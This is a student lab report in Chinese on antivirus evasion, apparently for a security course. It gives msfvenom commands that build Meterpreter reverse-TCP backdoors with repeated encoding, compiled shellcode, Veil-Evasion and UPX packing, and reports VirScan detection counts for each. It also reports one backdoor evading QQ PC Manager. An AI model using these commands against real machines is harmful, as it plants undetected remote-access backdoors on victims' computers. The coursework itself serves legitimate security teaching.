20155223 Exp3 免杀原理与实践 实验报告
实验前准备
安装Veil-Evasion
- 直接使用Kali快速安装命令,拒绝采用git安装命令
apt-get -y install veil-evasion
veil --setup
- 启动Veil
在生成的文档Veil里开启终端,输入命令veil。
之前没人告诉我,启动Veil是在生成的Veil文件夹里启动,而不是在外面直接输入命令启动,让我耗费一个白天在更新Kail源、换Veil版本等不相干事件上。
正式实验
用VirScan来检测后门
- 重命名Exp2中生成的后门可执行文件为backdoor_su.exe,让其接受VirScan的审判
VirScan包含有39个国内外杀毒软件(不包含360安全卫士),其检测结果可信度较高。
不能使用原命名文件,若使用,VirScan会以“可疑广告文件”为由拒绝扫描。
19个报错。
- 重复编码
输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=[数据删除] LPORT=443 -f exe > notBackdoor.exe
收获结果:
还是有19个报错,而且还是相同的查杀软件。
可以肯定的是,多次编码并没有掩盖到源码的特征码,或是多次编码的次数使得特征码掩盖又出现了。
shellcode后门生成
- 输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[数据删除] LPORT=443 -f c
获得生成shellcode[数据删除]。
将获得的码贴入到宿主机上的VS中,编译出一个全新的后门程序(宿主机防护以关闭)。
程序运行中:
Kali监听:
和实验二的结果一致。
- 将产生的后门交给VirScan审判。
判决结果:
8个报错。
shellcode多次编译
- 输入命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 13 LHOST=[数据删除] LPORT=443 -f c
。
重复上一个操作。
仍然可以使用:
VirScan审判结果:
5个报错,被初步认定是后门。
传输后门验证免杀效果
- 在两台电脑可以互相ping通的条件下,向受害主机发送后门。
- 受害主机开启QQ电脑管家全程监控,没反应。
免杀成功(仅针对版本12.9.19161.223)
证据:Veil-Evasion使用
根据教程启动Veil。
建立出来的程序在var/lib下,找到、逮捕、交给VirScan。
6个报错,不知道是不是哪里我搞错了。
加壳
- 对shellcode多次编码编译出来的后门进行加壳。
加壳程序为upx。
考虑到upx已经成为杀毒软件众矢之的,因此我对本次操作期望不高,只要报错的软件个数还个位数我就很高兴。
我就知道!
基础问题回答
杀软是如何检测出恶意代码的?
看代码堆里面是否存在恶意代码的特征,若出现特征码,杀毒软件就会清理可疑代码。
免杀是做什么?
掩盖特征码。
免杀的基本方法有哪些?
加壳(主流的加壳软件就别想,肯定早就被盯上了)、逆序特征码、异或特征码。
实验感想
即使是很明显的后门特征出现,也会有杀毒软件不报错。出现这种情况,我一般认为是软件的病毒库没更新,但是我看见有2018.4.6更新病毒库的杀毒软件也没有报错,我后背一阵发凉。
要想保证电脑能够接近100%地探测后门,我看还是给电脑安装一个专司杀毒的AI吧。